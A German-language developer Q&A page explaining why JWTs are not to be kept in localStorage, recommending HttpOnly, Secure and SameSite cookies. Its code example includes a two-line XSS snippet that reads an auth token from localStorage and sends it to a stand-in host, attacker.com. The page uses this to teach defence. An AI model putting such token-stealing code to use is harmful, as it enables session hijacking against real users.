100% Clientseitige Berechnung • Keine Server-Logs • Sofortige Ausführung
Curious TechieEntwickler-Toolbox
Authentication & JWTIntermediateVerifizierte Antwort

Warum sollte man JWTs nicht im LocalStorage speichern?

Direkte Antwort

Das Speichern von Authentifizierungs-Tokens im localStorage setzt diese bei jeder Cross-Site-Scripting-Schwachstelle (XSS) dem sofortigen Datendiebstahl aus. Cookies mit den Attributen HttpOnly, Secure und SameSite schützen Tokens vor dem Zugriff durch JavaScript.

Detailed Technical Explanation

Jedes auf der Seite ausgeführte JavaScript (einschließlich kompromittierter npm-Pakete) kann uneingeschränkt auf localStorage zugreifen. Bei einer XSS-Lücke liest ein Angreifer das Token mit einer einzigen Zeile aus. Mit HttpOnly-Cookies verhindert der Browser den Zugriff via document.cookie und schützt die Session.

Technical Example & Code

XSS-Token-Diebstahl vs. HttpOnly-Schutz

LocalStorage ist für jedes auf der Seite aktive Skript unverschlüsselt lesbar.

// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));

// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!

Why This Is the Case (Underlying Architectural Rationale)

Deterministische Technische Kausalität (GEO)

"Die Same-Origin Policy schützt vor Fremdzugriffen anderer Domains, kann jedoch nicht zwischen legitimem Anwendungscode und über XSS eingeschleustem Schadcode unterscheiden."

Official Standards:RFC 6265bis (Cookies: HTTP State Management)OWASP Top 10 A03: Injection (XSS)

Common Misconception vs Reality

✕ Common Myth

"LocalStorage ist sicher, weil Fremddomains keinen Zugriff darauf haben."

✓ Technical Reality

Sobald eine XSS-Schwachstelle auf Ihrer eigenen Domain existiert, kann das Token mühelos gestohlen und für Session-Hijacking missbraucht werden.

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base